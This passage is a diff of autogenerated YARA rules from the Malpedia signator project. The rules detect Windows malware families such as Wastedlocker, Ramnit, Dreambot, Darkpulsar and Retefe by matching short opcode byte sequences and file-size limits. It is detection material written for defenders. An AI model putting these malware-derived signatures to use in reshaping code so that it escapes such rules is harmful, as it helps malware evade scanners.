MALPEDIA_Win_Pteranodon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f81d 7cf1 eb07 8b0cc584d70210 894de4 85c9 7455 } - $sequence_1 = { 8bcb e8???????? 83c41c 8d85a8f6ffff 50 6802020000 ff15???????? } - $sequence_2 = { 6a00 6a00 56 68???????? ff15???????? 56 e8???????? } - $sequence_3 = { 8b049de0874300 8b4de0 f644082801 7515 } - $sequence_4 = { ff5018 8b5dd0 83e800 7409 83e801 } - $sequence_5 = { e8???????? 68???????? 8d95a8f8ffff c645fc12 8d8d60f8ffff } - $sequence_6 = { 894df8 8b048de0874300 33c9 41 897df0 } - $sequence_7 = { eb0e 6a06 c74634789f4200 59 c6463c00 5f 894e38 } - $sequence_8 = { c785fcfeffff6f002e00 c78500ffffff72007500 e8???????? 6800010000 8bf8 } - $sequence_9 = { 83c408 83f8ff bbffffffff 0f455d08 eb06 8b4dec } - $sequence_10 = { c685d8f8ffff00 e8???????? 8d85d8f8ffff c645fc22 50 } - $sequence_11 = { e8???????? 8bc8 83c404 894de8 8b01 } - $sequence_12 = { 8b55ec 8d45d8 8b4dd8 83fa10 8b75d4 0f43c1 2bf0 } - $sequence_13 = { 663b88e0e60210 740d 83c002 83f814 72ef 33c0 40 } - $sequence_14 = { 6a06 6a01 6a02 8b00 } - $sequence_15 = { 68???????? 56 ff15???????? 68b0000000 8d853cffffff 6a00 50 } + $sequence_0 = { c705????????080e4c00 e8???????? 83ec08 b9???????? c705????????01000000 c705????????94154c00 c705????????00000000 } + $sequence_1 = { 8b510c 31c0 395108 0f82dafeffff 8b01 ff5024 89c2 } + $sequence_2 = { 8b5c2420 395808 0f8c51020000 8b442454 8b4c2420 8b4004 39c8 } + $sequence_3 = { 8b4508 8b550c 890c24 8d4de0 8945d0 8955d4 e8???????? } + $sequence_4 = { 8d5601 89d8 89530c e8???????? 89c1 890c24 e9???????? } + $sequence_5 = { 8d7810 83c004 c744243200000000 890424 89542426 31d2 6689542436 } + $sequence_6 = { e9???????? 8b01 ff5024 89c3 83f8ff 0f8522fbffff c7450800000000 } + $sequence_7 = { 8b470c 894c2410 8b00 890424 e8???????? 8b4c2410 85c0 } + $sequence_8 = { e8???????? 50 891c24 e8???????? 85ff 7408 893c24 } + $sequence_9 = { 894dcc 8d4de7 8945c4 668945d2 e8???????? 83ec08 807de700 } condition: - 7 of them and filesize < 499712 + 7 of them and filesize < 2174976 } -rule MALPEDIA_Win_Joao_Auto : FILE +rule MALPEDIA_Win_Wastedlocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a574fe28-a1f8-553e-b910-02d4312c2eca" + id = "1b25ab78-4d17-5567-bfe5-7c9cd4852d3a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joao" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.joao_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wastedlocker_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "26a2c27da2ce5891d333b17daccfb50c0846c7c8910a76f91916cef0b5d7e33f" + logic_hash = "2c12d9ce655c1e066154e40493d5fbd7e9ce57fd1e7f44c9306209ae45654264" score = 75 quality = 75 tags = "FILE" @@ -105987,34 +106399,34 @@ rule MALPEDIA_Win_Joao_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c404 c705????????0f000000 891d???????? 881d???????? 8b4df4 64890d00000000 } - $sequence_1 = { 5d c20c00 68???????? 53 e8???????? } - $sequence_2 = { 83c004 8955d0 8945cc 3bd1 } - $sequence_3 = { e8???????? 8845d4 c745fc01000000 84c0 0f84dc000000 8b16 8d4de4 } - $sequence_4 = { 50 e8???????? 83c414 8b4508 c1e005 03c3 83e7e0 } - $sequence_5 = { c1e005 03c3 83e7e0 03fb 894608 897e04 891e } - $sequence_6 = { 52 6a40 6a20 68???????? ff15???????? } - $sequence_7 = { 83ec08 53 56 8b7510 33c0 } - $sequence_8 = { 8bc6 2bc7 5f 5e 5b 5d c20c00 } - $sequence_9 = { 897dfc e8???????? 8d55f8 52 8bce c745f808000000 } + $sequence_0 = { 6a2a e8???????? 8b45fc 8b30 } + $sequence_1 = { 5b 7504 8365fc00 8b4508 ff30 ff15???????? 8b45fc } + $sequence_2 = { 8bc7 351ec34eee 50 53 e8???????? } + $sequence_3 = { ff15???????? 85c0 740f 6a02 57 ff15???????? } + $sequence_4 = { 51 8935???????? 8935???????? a3???????? a3???????? } + $sequence_5 = { e8???????? 8d85d0f3ffff 50 56 8d85b8edffff 50 8d85b0ebffff } + $sequence_6 = { 8918 33f6 eb26 ff15???????? 53 6a00 ff35???????? } + $sequence_7 = { 03c7 13cb a3???????? 0bc1 890d???????? 0f8456010000 8b4dfc } + $sequence_8 = { ff7508 e8???????? 2b4d08 8bf0 03f1 eb02 8bf1 } + $sequence_9 = { ff750c 6a00 ff35???????? ff15???????? 8b45f0 5f 5e } condition: - 7 of them and filesize < 2867200 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Unidentified_023_Auto : FILE +rule MALPEDIA_Win_Rikamanu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1400fef8-22ab-55d3-be00-2034b5c77506" + id = "6aa1bb34-6dad-5a44-a7b0-10e6f22d5ad7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_023_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rikamanu_auto.yar#L1-L301" license_url = "N/A" - logic_hash = "967009d10509388ccde45cabcb9706cb7743d93f422192cdf1b0f418e7706b0c" + logic_hash = "bec31db5b7da98c4f1592bb94bd04c2338666fc78eaa33ae09c8491dda001ca5" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -106026,34 +106438,53 @@ rule MALPEDIA_Win_Unidentified_023_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b8cccccccc f3ab a1???????? 8945e4 8b0d???????? } - $sequence_1 = { 894df4 8a15???????? 8855f8 837d0c01 7514 8bf4 } - $sequence_2 = { 8855f8 837d0c01 7514 8bf4 68???????? ff15???????? } - $sequence_3 = { 8a15???????? 8855f8 837d0c01 7514 8bf4 } - $sequence_4 = { 8855f8 837d0c01 7514 8bf4 68???????? ff15???????? 3bf4 } - $sequence_5 = { 0909 0909 0407 0807 8d4900 4f } - $sequence_6 = { 68???????? ff15???????? 3bf4 e8???????? b801000000 52 8bcd } - $sequence_7 = { b938000000 b8cccccccc f3ab a1???????? 8945e4 8b0d???????? } - $sequence_8 = { 0909 0909 0909 0407 0807 8d4900 4f } - $sequence_9 = { 8945f0 8b0d???????? 894df4 8a15???????? 8855f8 837d0c01 } + $sequence_0 = { e8???????? 6a14 ff15???????? a801 } + $sequence_1 = { 50 ff15???????? 8b35???????? 3d80969800 } + $sequence_2 = { 40 3acb 75f9 57 8dbdf4fdffff 2bc2 4f } + $sequence_3 = { 8d4c2414 51 56 ff15???????? 8b542414 52 } + $sequence_4 = { 0fb6da f68321ae400004 740c ff01 85f6 } + $sequence_5 = { 33c0 890d???????? bf???????? 890d???????? 890d???????? 890d???????? } + $sequence_6 = { 7423 83c604 803e00 7587 53 57 ff15???????? } + $sequence_7 = { 58 668986b8000000 668986be010000 c74668b02f4100 83a6b803000000 6a0d } + $sequence_8 = { 83d8ff 85c0 0f841f020000 83c9ff } + $sequence_9 = { e8???????? 59 3bc3 7511 391d???????? 7509 ff750c } + $sequence_10 = { 59 8b7508 8d34f570902400 391e 7404 8bc7 eb6d } + $sequence_11 = { 33c5 8945fc 8b0d???????? 53 6804010000 33db 8d85f8feffff } + $sequence_12 = { 888800962400 40 ebe9 33c0 8945e4 3d00010000 7d10 } + $sequence_13 = { 8b842470020000 03f8 57 56 ff15???????? 5f 5e } + $sequence_14 = { ff15???????? 8b8df0fdffff 8b35???????? 51 ffd6 8b95e8fdffff 52 } + $sequence_15 = { ff35???????? ff15???????? c3 ff35???????? ff742408 } + $sequence_16 = { f3a5 8bca 83e103 f3a4 8dbc243c020000 83c9ff f2ae } + $sequence_17 = { 7229 f3a5 ff2495d85a4000 8bc7 ba03000000 83e904 720c } + $sequence_18 = { ffd6 85c0 74c2 8b85ccfdffff 6aff } + $sequence_19 = { f3a5 8bca 6880000000 83e103 6a04 f3a4 } + $sequence_20 = { 52 ff15???????? 8b8c2470020000 8bf8 8d442414 } + $sequence_21 = { 53 56 6a01 68???????? e8???????? 6a01 } + $sequence_22 = { e8???????? 68ff000000 8d85e9f9ffff 889de8f9ffff 53 50 e8???????? } + $sequence_23 = { 50 a3???????? e8???????? 8db67c774000 bf???????? a5 a5 } + $sequence_24 = { c1f905 83e21f 8b0c8de0b84000 f644d10401 7425 50 e8???????? } + $sequence_25 = { 83c9ff 33c0 8b1d???????? f2ae f7d1 6a00 } + $sequence_26 = { 55 6803000010 57 ffd6 3b442410 0f8584040000 b940000000 } + $sequence_27 = { ff7510 50 ff7508 ff15???????? 5e 5d c21000 } + $sequence_28 = { 56 57 8b7d0c 85db 0f84b2000000 85ff 0f84aa000000 } condition: - 7 of them and filesize < 1433600 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Ramnit_Auto : FILE +rule MALPEDIA_Win_Darkpulsar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e7231016-af2a-574e-9bee-456d68202102" + id = "3d640e6f-45ff-5f50-abb3-96bc1483119a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramnit_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkpulsar_auto.yar#L1-L456" license_url = "N/A" - logic_hash = "a205fea822a311ab889bb108ee1640be8e7bb55400366f3eef4a7d603b69a5db" + logic_hash = "e92897322c1f7ba92ed602b9b405ecfc3237bf769ff600554b34202d8fb12746" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -106065,34 +106496,73 @@ rule MALPEDIA_Win_Ramnit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7d08 b000 f2ae 8bc1 } - $sequence_1 = { 5f 59 5a 5b c9 c20800 55 } - $sequence_2 = { fd 8b4d10 8b7d0c 8b7508 f3a4 } - $sequence_3 = { 3a4510 7407 b800000000 eb02 8bc7 5a } - $sequence_4 = { ba00000000 59 5f 5e 5b c9 } - $sequence_5 = { ff7514 ff7510 e8???????? 83f800 750b 4f 3b7d08 } - $sequence_6 = { fc 8b4d0c 8b7d08 b000 f3aa } - $sequence_7 = { 52 8b4508 8b5d0c 4b 23d8 83fb00 740e } - $sequence_8 = { 8bf8 037d14 3b7df8 771f 8945fc ff7514 ff7510 } - $sequence_9 = { 8bec 83c4f8 56 57 51 53 52 } + $sequence_0 = { c21000 ff25???????? ff25???????? ff25???????? 33c0 40 } + $sequence_1 = { 33c0 40 c20c00 68???????? 64ff3500000000 } + $sequence_2 = { 3a01 1bc0 83e0fe 40 } + $sequence_3 = { 8b35???????? 57 8b7d08 eb09 803f00 } + $sequence_4 = { ffd6 8bd8 8b450c 0fbe00 50 ffd6 } + $sequence_5 = { ffd6 59 59 3bd8 74e0 } + $sequence_6 = { 47 ff450c 0fbe07 50 ffd6 8bd8 8b450c } + $sequence_7 = { 3bd8 74e0 0fb607 8b4d0c 3a01 } + $sequence_8 = { 5e c9 c3 56 8b742408 85f6 7412 } + $sequence_9 = { ff75fc ff75f4 e8???????? 59 59 83f8ff } + $sequence_10 = { 33d2 56 57 33c0 } + $sequence_11 = { 8d45cc 50 57 e8???????? 83c410 85c0 } + $sequence_12 = { ffd7 59 5f 5e c3 8b4c2404 } + $sequence_13 = { 50 ff7618 ff15???????? 59 59 85c0 } + $sequence_14 = { 8945fc 8b450c 53 8b5d08 56 57 8945e8 } + $sequence_15 = { 83c410 83f8ff 0f95c1 49 8bc1 } + $sequence_16 = { 59 1bc0 59 40 c3 e9???????? } + $sequence_17 = { 6a01 ff15???????? 8bf0 59 59 3bf7 } + $sequence_18 = { 33d2 c3 8bff 55 8bec b863736de0 } + $sequence_19 = { 53 8b5d10 56 8b7508 33d2 } + $sequence_20 = { 56 e8???????? 59 85c0 7625 } + $sequence_21 = { 8d4601 6a01 50 ff15???????? 8bf8 } + $sequence_22 = { eb03 83c8ff 5f 5e c3 56 } + $sequence_23 = { 59 5e 8b45fc c9 c3 } + $sequence_24 = { e8???????? 8bf0 46 56 ff15???????? 59 59 } + $sequence_25 = { e8???????? 59 5e 83f8ff } + $sequence_26 = { 5f 5e c3 8b442404 85c0 7503 } + $sequence_27 = { 56 57 8b7d10 7e05 83c220 eb03 } + $sequence_28 = { 6a7f 58 33f6 83e107 46 d3e6 85f0 } + $sequence_29 = { 8bf8 85ff 750f 50 50 8d45f4 } + $sequence_30 = { 50 ffd7 f6450801 5f 7409 56 e8???????? } + $sequence_31 = { 33ff 895dfc 3bc7 7509 8b0b } + $sequence_32 = { e8???????? 83c40c 83f8ff 740e ff75e4 ff15???????? } + $sequence_33 = { eb28 57 8d45f4 56 50 e8???????? } + $sequence_34 = { ff742410 ff742410 ff15???????? 33c9 } + $sequence_35 = { c20400 8b4508 8b10 8b4008 8d4e08 51 } + $sequence_36 = { 8b7d08 837f3c04 7405 33c0 5f 5d } + $sequence_37 = { 8b7d14 8975f4 3b37 7734 8b750c } + $sequence_38 = { ff25???????? c3 8b442404 c705????????00102500 c705????????10102500 } + $sequence_39 = { 56 ff15???????? 83f8ff 7433 33c0 } + $sequence_40 = { 0f841b010000 3bf0 0f8413010000 394708 0f840a010000 894608 } + $sequence_41 = { 8b442408 884101 c1e808 8801 8d4102 } + $sequence_42 = { ddd9 f6c444 7b09 ddd8 b8???????? eb5b 51 } + $sequence_43 = { 33ff 8945f4 8945f8 e8???????? 83c404 8945fc } + $sequence_44 = { 8945fc bacdab0000 8d45f4 52 50 } + $sequence_45 = { 894588 7404 40 894588 83659800 85c0 0f8610010000 } + $sequence_46 = { 00db 7309 7515 8a1e } + $sequence_47 = { 85f6 7425 3b4d10 0f8394010000 8b7514 } + $sequence_48 = { e8???????? dc1d???????? 83c410 dfe0 f6c444 } condition: - 7 of them and filesize < 470016 + 7 of them and filesize < 491520 } -rule MALPEDIA_Win_Dreambot_Auto : FILE +rule MALPEDIA_Win_Gamotrol_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "53f43e42-1768-565e-8f9c-297b1c07d8f4" + id = "2b2204da-4f22-547c-9de3-80e2483d6d42" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dreambot_auto.yar#L1-L872" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gamotrol_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "cddaa00c4f6e4bc7a58bc64756492fafadc3729bcd6bcbd8f6bc9664c264e892" + logic_hash = "0a158c049548339723eb169f446010e4bcdbd33e0805ca045362a8d262920ab1" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -106104,122 +106574,34 @@ rule MALPEDIA_Win_Dreambot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4f30 83e140 0b4b18 83671800 } - $sequence_1 = { 85c0 751f ff15???????? 8bf8 81ffe5030000 751a } - $sequence_2 = { ff7320 ff15???????? 50 ff7320 56 ff5710 } - $sequence_3 = { ff15???????? 85c0 7410 ff742410 33ff e8???????? 8b7d0c } - $sequence_4 = { ffd6 8b44240c 894320 68???????? ff7320 ff15???????? } - $sequence_5 = { 751a 395d10 7413 8b4618 e8???????? eb09 } - $sequence_6 = { 68???????? 68???????? ff7320 e8???????? 8bf8 } - $sequence_7 = { 0f84cd000000 8d442410 50 8d442410 } - $sequence_8 = { 3bf3 0f8481000000 395d0c 747c 6a03 ebcc 3bf3 } - $sequence_9 = { 3bc2 480f45ca 488bc1 4883c438 c3 488bc4 } - $sequence_10 = { 395d0c 0f848d000000 6a07 ebdd 3bf3 0f8481000000 } - $sequence_11 = { a1???????? 85c0 7520 3bf3 741c 837d0c04 } - $sequence_12 = { 837d0c04 7516 ff7510 ff36 68???????? e8???????? 8bf8 } - $sequence_13 = { ebcc 3bf3 7474 395d0c 746f 6a0d ebbf } - $sequence_14 = { 746f 6a0d ebbf ff7510 53 68???????? eb54 } - $sequence_15 = { 8b7d08 eb24 a1???????? 85c0 } - $sequence_16 = { 56 68???????? e8???????? 894508 8b7d08 eb24 } - $sequence_17 = { 413bc5 7528 493bfd 7423 41b904000000 } - $sequence_18 = { c3 4053 4883ec20 4c8b4108 488bd9 } - $sequence_19 = { e8???????? e9???????? 493bfd 0f84b5000000 413bf5 0f84ac000000 } - $sequence_20 = { 4c8bc5 e8???????? 8bd8 83fbff 7508 } - $sequence_21 = { bb57000000 e8???????? 413bc5 7446 } - $sequence_22 = { 7464 413bf5 745f 8bd6 488bcf bb57000000 } - $sequence_23 = { 33d2 ff15???????? 4c8d5c2470 8bc7 } - $sequence_24 = { 747c 41b80d000000 eba7 33d2 } - $sequence_25 = { e8???????? eb2c 8b05???????? 413bc5 } - $sequence_26 = { e9???????? 8bd6 488bcf e8???????? e9???????? 4c392d???????? 740c } - $sequence_27 = { 46 8945f8 85c0 7551 } - $sequence_28 = { 8b450c 33db 895dfc e8???????? 8945f8 33ff } - $sequence_29 = { 817424105085b8ed 33ff 47 57 be???????? 56 8d542418 } - $sequence_30 = { e8???????? 4885db 7417 488b0d???????? 4c8bc3 33d2 } - $sequence_31 = { ff7310 ff15???????? 33d2 89b7184a0000 } - $sequence_32 = { 488bcb e8???????? f7d0 eb07 8b8424c8000000 3dcad2b74e } - $sequence_33 = { 8db4083089b9ed 57 8d45f4 50 8b450c 33db 895dfc } - $sequence_34 = { 8945f8 33ff eb03 8b750c ff75f8 69f60d661900 } - $sequence_35 = { 85c0 7551 ff33 50 } - $sequence_36 = { 7427 488b5308 488bc8 ff15???????? 4c8b472c 488b0d???????? } - $sequence_37 = { 8b463c 488b1e 2b471c 4489742478 448974247c 488b542478 } - $sequence_38 = { 8b87184a0000 56 33f6 46 8945f8 } - $sequence_39 = { 8b424c a801 0f840f010000 8b424c a806 740e e8???????? } - $sequence_40 = { 8a07 2c41 3c05 8a07 7704 2c37 eb0a } - $sequence_41 = { 89442440 488bf9 e8???????? 488d542438 33c9 ff15???????? 448b5c2438 } - $sequence_42 = { 488bf0 0f84a3000000 8b942490000000 4c8b442440 } - $sequence_43 = { 33d2 ff15???????? 8bc6 488b9c24c0000000 } - $sequence_44 = { ff15???????? 8945fc 85c0 741a 6804010000 8d4f10 51 } - $sequence_45 = { 89750c 8d750c e8???????? 8bf0 } - $sequence_46 = { ff15???????? 4883f8ff 488bf8 7445 488d842488000000 } - $sequence_47 = { 69f60d661900 ff75f4 81c65ff36e3c 89750c 8d750c } - $sequence_48 = { c3 6a00 6800004000 6a00 ff15???????? a3???????? } - $sequence_49 = { 3decc7eea6 0f84e8000000 3d0470a8c4 0f8486000000 } - $sequence_50 = { 7551 ff33 50 6810040000 ff15???????? 8945fc 85c0 } - $sequence_51 = { 48895f2c 8b464c a802 7410 8b464c } - $sequence_52 = { 488d4c2440 ff15???????? 0fb74c2442 b856555555 } - $sequence_53 = { 4c8bc3 33d2 ff15???????? 4c8b442478 488b0d???????? 33d2 } - $sequence_54 = { ff75fc e8???????? 8b45f0 40 c745e801000000 } - $sequence_55 = { ff742404 a3???????? e8???????? 85c0 7551 ff742404 e8???????? } - $sequence_56 = { ff35???????? ff15???????? eb22 ff7518 } - $sequence_57 = { e8???????? 85c0 0f849b000000 8d45f4 50 } - $sequence_58 = { 3bc6 7551 a1???????? 8b4014 85c0 } - $sequence_59 = { 493bce 753a 8b05???????? 488b0d???????? } - $sequence_60 = { e8???????? e9???????? 3bf3 0f8435010000 395d10 0f842c010000 } - $sequence_61 = { 8be5 5d c20400 8325????????00 6a00 68???????? 6a01 } - $sequence_62 = { e8???????? 8bf8 3bfb 0f857c040000 } - $sequence_63 = { 83ffff 0f843b010000 81ff02010000 0f8499000000 } - $sequence_64 = { 4183c501 443b2e 730a eba9 4533f6 eb08 } - $sequence_65 = { ff15???????? 85c0 7412 4881c720010000 4183c501 443b2e 730a } - $sequence_66 = { 81ff02010000 0f8499000000 f605????????08 6aff 68806967ff 56 7408 } - $sequence_67 = { 5b c9 c20800 55 8bec 81ec1c010000 8d4807 } - $sequence_68 = { 83cfff 443bd3 7349 448bdf 452bda } - $sequence_69 = { 498d5c2478 e8???????? 4e8b4cb61e 4e8b44b616 33c9 } - $sequence_70 = { 81ff02010000 0f8495000000 8b3d???????? 6aff 68806967ff } - $sequence_71 = { ffb72c080000 e8???????? 5e 5d 5b c3 eb10 } - $sequence_72 = { 493bed 75a1 488bb42480000000 4c8b742470 } - $sequence_73 = { 83c40c 83c01e 50 ffd7 ff35???????? } - $sequence_74 = { 41 f00fc108 a1???????? 83c01e 50 ff15???????? } - $sequence_75 = { 5b 8be5 5d c3 0fb708 6683f902 } - $sequence_76 = { 85c0 0f85b7000000 56 ff742428 ffd7 8bf8 } - $sequence_77 = { ff15???????? 8bc3 e9???????? 48895c2408 4889742410 57 } - $sequence_78 = { 488b15???????? 4c8d442468 48c7c101000080 ff15???????? } - $sequence_79 = { 83a78c00000000 33c0 c3 51 e8???????? 0558020000 } - $sequence_80 = { 50 ff742428 89542464 ffd3 56 57 } - $sequence_81 = { 56 ff742468 ffd7 85c0 0f85b7000000 } - $sequence_82 = { 56 0f84e9000000 ff74241c ffd7 } - $sequence_83 = { ff15???????? 85c0 743f 66ba2e00 498bcf ff15???????? 4885c0 } - $sequence_84 = { 5b c20800 51 53 57 } - $sequence_85 = { ff742414 e8???????? 813d????????58876837 7525 6a01 e8???????? 6a01 } - $sequence_86 = { 8bfb 8898d8fdffff e8???????? 448bac2400030000 440fb7db 4183fd25 } - $sequence_87 = { a3???????? bf???????? 33f6 8b8618c60310 e8???????? 8947fc } - $sequence_88 = { 8b483c 66f74401160020 7408 c744244c8e85be03 e8???????? } - $sequence_89 = { 89b31c70be03 740a 83c304 83fb14 72c9 eb12 } - $sequence_90 = { 85c0 0f849d010000 395c244c 7407 68???????? } - $sequence_91 = { 894df8 894dec c745e0e724be03 8945d8 751b f605????????01 7412 } - $sequence_92 = { e42c d08b19ec3bc2 14e1 32ec } - $sequence_93 = { f3ab e8???????? 8bf0 3bf3 0f85d4020000 } - $sequence_94 = { 8bd8 83fbff 0f843d010000 81fb02010000 0f8496000000 } - $sequence_95 = { 46 33048d1062be03 85ff 75cf f7d0 eb02 33c0 } - $sequence_96 = { 0fb6b120d00310 0fb6b9a0d00310 0fb68c0632900000 0fb7b470928a0000 894df4 8b4844 d3e6 } - $sequence_97 = { ffd6 ff742414 ff742414 57 e8???????? } + $sequence_0 = { ff15???????? 90 55 90 } + $sequence_1 = { eb82 55 8bec 83ec20 56 33f6 39750c } + $sequence_2 = { 83c40b 83ec0b 68b4c2ffff 83c410 83c4f0 6aff 68???????? } + $sequence_3 = { c1c804 8945fc 61 8b45f4 } + $sequence_4 = { 83ec0b 83c40f 83c4f1 83c45b 83ec5b 90 90 } + $sequence_5 = { cc 8b442404 a3???????? c3 8b442404 a3???????? a3???????? } + $sequence_6 = { 5d 85c0 7709 33c0 5f 5e } + $sequence_7 = { 8945e4 90 90 55 8bec } + $sequence_8 = { 81ec00020000 8d6c24fc a1???????? 33c5 898500020000 6a0c b8???????? } + $sequence_9 = { 6aff 6a00 68???????? 6a00 ff15???????? } condition: - 7 of them and filesize < 778240 + 7 of them and filesize < 376832 } -rule MALPEDIA_Win_Cinobi_Auto : FILE +rule MALPEDIA_Win_Retefe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "21772936-199b-55b9-8c88-84909fbe932b" + id = "8aa29e0c-c404-5a57-8eda-15f9ee27924e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cinobi_auto.yar#L1-L163" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.retefe_auto.yar#L1-L279" license_url = "N/A" - logic_hash = "3b7b598c2d1d5a6445b3767b26d122931b2d9423a26b8573ddc77c7b26c5617b" + logic_hash = "2fe6220549475b9cb9f17de89d5a599ff0e604b2c25c7a541e74c1b0545a1a8f" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -106231,37 +106613,52 @@ rule MALPEDIA_Win_Cinobi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c9 c3 55 8bec 51 e8???????? 58 } - $sequence_1 = { 660fbe404b 668985a0fdffff 8b45f8 660fbe4005 668985a2fdffff 8b45f8 660fbe4005 } - $sequence_2 = { 55 8bec 83ec44 53 e8???????? } - $sequence_3 = { 8845ce c645cf00 8b45c0 8a4031 } - $sequence_4 = { 6805100000 56 8b75f0 56 ff93f7000000 } - $sequence_5 = { 8365dc00 8945e0 8d45fc 8945e4 8d45f4 } - $sequence_6 = { 50 51 ff93eb000000 8b4df4 e8???????? 8bf8 } - $sequence_7 = { 57 8b7dd0 894dfc 3bcb 7504 33c0 eb2c } - $sequence_8 = { 8a4d0c 8808 ebe5 c9 c3 } - $sequence_9 = { 8845fb 8d45a4 50 ff7508 e8???????? 59 } - $sequence_10 = { 8b45f4 ff90db000000 8945ec 837decff 7513 } - $sequence_11 = { 8b4510 8945ec 8b45e4 8b4dfc 8b0481 034508 } - $sequence_12 = { 837de000 0f85ac000000 6a02 8d87c0120000 50 } - $sequence_13 = { 8a5832 885dd1 8a5834 885dd2 } - $sequence_14 = { 837de8ff 7507 32c0 e9???????? 6a00 ff75e8 8b45f4 } + $sequence_0 = { 51 8bf8 ffd6 85c0 } + $sequence_1 = { 68f5000000 50 ff15???????? b801000000 } + $sequence_2 = { e8???????? 6a08 e8???????? 894604 83c404 } + $sequence_3 = { 6a1c 6ae1 6aa5 6a00 6a14 6aea 6abe } + $sequence_4 = { 894604 83c404 8bc6 e8???????? } + $sequence_5 = { 6adb 6a1c 6ad8 6a2f 6ad1 6a0a } + $sequence_6 = { 6ada 6a53 6ac7 6a36 6acb 6a18 6ac4 } + $sequence_7 = { 8901 8b4e04 33c0 83c404 394104 } + $sequence_8 = { 8b4e04 40 3b4104 72ec } + $sequence_9 = { e8???????? 8b4e04 8901 8b4e04 } + $sequence_10 = { 51 8d9570efffff 52 50 50 50 6a01 } + $sequence_11 = { 6afa 6acb 6a12 6a79 } + $sequence_12 = { c1eb18 884101 c1ea10 33c0 } + $sequence_13 = { 50 e8???????? 88043e 46 83c404 3bf3 75ec } + $sequence_14 = { 0f8520010000 33c0 8ad8 8d8d04dcffff } + $sequence_15 = { 803800 740b 6a18 59 } + $sequence_16 = { 83e809 7443 83e801 0f8501010000 c745e014344100 8b4508 8bcf } + $sequence_17 = { 5d 5b c20800 833d????????00 } + $sequence_18 = { 8b7c2410 85f6 0f840b010000 53 e8???????? } + $sequence_19 = { 6a00 e8???????? 803d????????00 750c 8d859cdeffff } + $sequence_20 = { 8b0e 394104 761c 660f1f840000000000 8b11 8a88503e4100 } + $sequence_21 = { ff5004 8b4ddc 8b4104 895904 85c0 7406 8b08 } + $sequence_22 = { 8bf0 8b5508 83c9ff 83c2f0 f00fc14a0c } + $sequence_23 = { 8b5c2418 89442434 8b44241c 8d48f8 } + $sequence_24 = { 33c0 668945e8 8b45d4 886de5 8b1485a0bf4200 } + $sequence_25 = { 897de0 394508 7c1f 3934bd08d44500 } + $sequence_26 = { 57 8d3c85a8c14200 8b0f 85c9 740b 8d4101 f7d8 } + $sequence_27 = { 8b01 51 ff5008 8b4e0c 85c9 7406 } + $sequence_28 = { 7ead 8b0d???????? 8d857869ffff 6a00 } + $sequence_29 = { 0fb6c0 eb17 81fa00010000 7313 8a87ccb14200 08441619 } condition: - 7 of them and filesize < 32768 + 7 of them and filesize < 843776 } -rule MALPEDIA_Win_Rc2Fm_Auto : FILE +rule MALPEDIA_Win_Leash_Auto : FILE { meta: description = "autogenerated 